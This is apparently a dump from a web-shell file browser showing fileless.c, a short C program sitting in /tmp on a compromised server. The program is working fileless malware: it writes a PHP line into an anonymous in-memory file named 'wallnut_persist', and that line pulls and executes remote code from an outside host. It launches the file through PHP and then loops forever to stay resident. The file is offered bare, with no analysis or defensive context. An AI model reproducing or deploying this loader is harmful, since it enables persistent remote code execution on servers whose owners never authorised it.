| Current Path : /tmp/ |
| Current File : //tmp/fileless.c |
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main() {
int fd = memfd_create("wallnut_persist", MFD_CLOEXEC);
if (fd < 0) return 1;
const char* payload = "<?php include('http://4uweb.design/wallnut.php'); ?>";
write(fd, payload, strlen(payload));
char cmd[512];
sprintf(cmd, "php /proc/self/fd/%d &", fd);
system(cmd);
while(1) sleep(60);
return 0;
}